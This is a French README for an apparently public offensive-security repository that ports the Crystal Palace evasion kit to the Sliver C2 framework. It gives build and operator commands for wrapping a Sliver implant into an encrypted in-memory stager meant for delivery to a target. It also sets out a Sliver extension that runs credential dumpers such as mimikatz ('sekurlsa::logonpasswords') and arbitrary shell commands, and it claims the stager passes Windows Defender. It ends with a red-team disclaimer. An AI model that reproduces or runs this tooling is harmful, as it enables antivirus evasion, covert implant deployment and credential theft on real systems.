Kit d'évasion Crystal Palace pour Sliver
Kit d'évasion Crystal Palace porté vers Sliver C2.
Il s'agit du premier port public du Crystal-Kit de rasta-mouse (Cobalt Strike) vers Sliver. Il suit le même schéma cross-C2 éprouvé par Crystal-Kit-Xenon (Mythic).
Remplace le loader réflectif par défaut de Sliver et le chemin d'exécution post-ex par Crystal Palace (Raphael Mudge, BSD). Le résultat est un blob de code indépendant de la position (PICO) qui regroupe :
LoadLibrary / GetProcAddress en clair)VirtualAlloc / VirtualProtect / VirtualFree / LoadLibraryALa DLL d'implant Sliver (ou toute DLL post-ex) est masquée par XOR dans le PICO et n'est démasquée qu'en mémoire au moment de l'exécution.
La DLL d'implant Sliver brute n'est jamais exécutée directement sur la cible. Elle est plutôt enveloppée avec Crystal Palace dans un PICO, chiffrée en AES-256-CBC, et livrée avec un stager personnalisé (~17 Ko) qui la déchiffre et l'exécute en mémoire.
sliver-server generate --format shared → impl.dll
│
▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
│
▼
bundle-stager.sh → csvchelper.exe (~17 KB, no embedded payload)
→ payload.dat (~36 MB AES-256-CBC ciphertext)
│
▼ deliver BOTH files to same directory on target
▼
Windows VM: csvchelper.exe
│
▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session
Une fois une session active, exécutez les DLL sensibles (recon, dumpers d'identifiants, etc.) via Crystal Palace au travers d'une extension Sliver.
sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin
Transmettez des arguments runtime sans rebuild en les ajoutant après | :
sliver > crystal --payload C:/path/file.pico.bin|args here
La crystal-loader.x64.dll est une extension DLL Sliver qui lit le blob PICO depuis le disque dans une région VirtualAlloc(RW), la passe en RX avec VirtualProtect, puis saute à l'entrée de Crystal Palace. Aucun mappage PAGE_EXECUTE_READWRITE n'est jamais conservé. Les chemins utilisent le forward slash. Le format des arguments est type:string (pas de binaire BOF). La DLL est chargée en mémoire par Sliver — elle n'est pas écrite en tant que fichier sur le disque de la cible.
crystal-exec est une seconde commande incluse dans la même extension. Elle exécute des commandes shell arbitraires à travers l'évasion Crystal Palace en utilisant un PICO intégré directement dans la DLL de l'extension — aucun fichier PICO à uploader.
sliver > crystal-exec --cmd "whoami /all"
La sortie est renvoyée à l'opérateur via la session Sliver existante par un pipe. C'est le chemin le plus rapide pour des commandes shell ponctuelles lorsque vous n'avez pas besoin d'une DLL post-ex complète.
crystal-kit-sliver/
├── loader/ ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit
├── postex-loader/ ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch
├── libtcg.x64.zip ← Upstream binary dependency (kept in tree for build convenience)
└── sliver-glue/ ← Sliver-specific build glue
├── extension.json Sliver Extension manifest
├── generate.sh Wrap a post-ex DLL → PICO (Use case B)
├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A)
├── bundle-implant.sh Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
├── bundle-stager.sh Build custom stager: csvchelper.exe + payload.dat (primary)
├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball
├── Makefile make objects / package / clean
├── stager/ Custom stager sources (AES-256-CBC, asInvoker manifest)
└── wrapper/ crystal-loader.c (BOF-compat DLL wrapper)
docs/
├── RUNBOOK.md Step-by-step Kali → Windows lab procedure
├── PORTING_MAP.md File-by-file mapping Crystal-Kit → this repo + literal diffs
└── TOOLCHAIN.md Build prerequisites and pipeline details
# 1. Toolchain
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl
# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
| tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
# 3. Build everything
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all
# 4. Use case A — wrap a Sliver implant and build the stager
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe + build/payload.dat (deliver both to target)
# 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# With baked-in args: postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh
# 6. crystal-exec — rebuild the built-in command executor (only needed after modifying crystalexec.c)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh
Voir docs/RUNBOOK.md pour la procédure opérateur complète (installation de Sliver, configuration du listener, exécution sur la cible, dépannage).
| Élément | Statut | Preuve |
|---|---|---|
| Toutes les sources Crystal-Kit compilent sous MinGW 15.2 + NASM 3.01 | OK | make all sans erreur, 8 .o + 1 .bin par loader |
| Patches Xenon post-ex présents | OK | section dfr "ror13", _DLLARGS_, paramètre dll_arguments dans DLL_PROCESS_ATTACH |
| CLI Crystal Palace vérifiée | OK | ./link <spec> <dll> <out.bin> [%KEY=value] — positionnel, documenté dans dist/README |
| Build PICO de bout en bout (cas d'utilisation A) | OK | PICO de 117 Ko produit à partir de la DLL de test |
| Build PICO de bout en bout (cas d'utilisation B) | OK | PICO de 111 Ko produit via postex-loader/loader.spec |
| Les DLL wrapper de l'extension Sliver se compilent | OK | crystal-loader.x64.dll ~42 Ko, crystal-exec.x64.dll ~75 Ko — les deux en PE32+ exportant le symbole Initialize ; pas de RWX ; strippées |
| Le tarball de l'extension se pack correctement | OK | tarball de 37 Ko validé avec tar -tzf |
| Build du stager personnalisé (livraison en deux fichiers) | OK | bundle-stager.sh → csvchelper.exe (17 Ko, entropie 4.784) + payload.dat (AES-256-CBC) |
| Exécution runtime sur Windows (cas d'utilisation A) | OK | Session Sliver établie sur Windows 10 x64 FLARE-VM ; le stager passe Defender (Wacatac.B!ml + ZomBytes.B) |
| Exécution runtime sur Windows (cas d'utilisation B) | OK | crystal --payload C:/path/file.pico.bin — nouvelle session Sliver établie via le PICO post-ex ; format d'argument vérifié en type:string, chemin en forward slash |
Commande crystal-exec | OK | Sortie de la commande shell renvoyée à l'opérateur via un pipe ; PICO intégré dans la DLL de l'extension, aucun upload requis |
| Dépendance | Licence | Comment l'obtenir | Inclus ? |
|---|---|---|---|
Crystal Palace (crystalpalace.jar, link, etc.) | BSD-3-Clause, (c) 2025 Raphael Mudge / AFF-WG | curl -O https://tradecraftgarden.org/download/cpdist-latest.tgz | Non (.gitignore exclut external/) |
libtcg.x64.zip | Binaire amont, licence non précisée (probablement dérivé de QEMU TCG) | Copié depuis le dépôt amont Crystal-Kit | Oui, conservé dans l'arborescence pour la commodité du build |
| Sliver C2 | GPLv3 | https://sliver.sh | Non — dépendance runtime uniquement |
| MinGW-w64 + NASM | Compatible GPL | apt install ou brew install | Non |
Ce dépôt ne redistribue PAS crystalpalace.jar. Le pipeline de build le récupère en externe et le référence via la variable d'environnement CRYSTAL_PALACE_HOME.
Voir NOTICE.md pour la liste complète des droits d'auteur et licences amont. Résumé succinct :
dll_args)beacon.h, beacon_compatibility.c/h)docs/PORTING_MAP.md)sliver-glue/ et manifeste d'extensiongenerate-implant.sh + bundle-implant.shcrystal --payload fonctionne, format d'argument corrigé en type:string, chemin en forward slash)crystal-exec : exécution de commandes shell post-ex intégrée via Crystal Palace (aucun upload requis)| pour des arguments DLL dynamiques sans rebuildOutillage de sécurité offensive destiné aux engagements red team autorisés, à la recherche en laboratoire et à l'éducation. À utiliser uniquement dans des environnements où vous disposez d'une autorisation écrite. L'auteur décline toute responsabilité en cas d'usage détourné.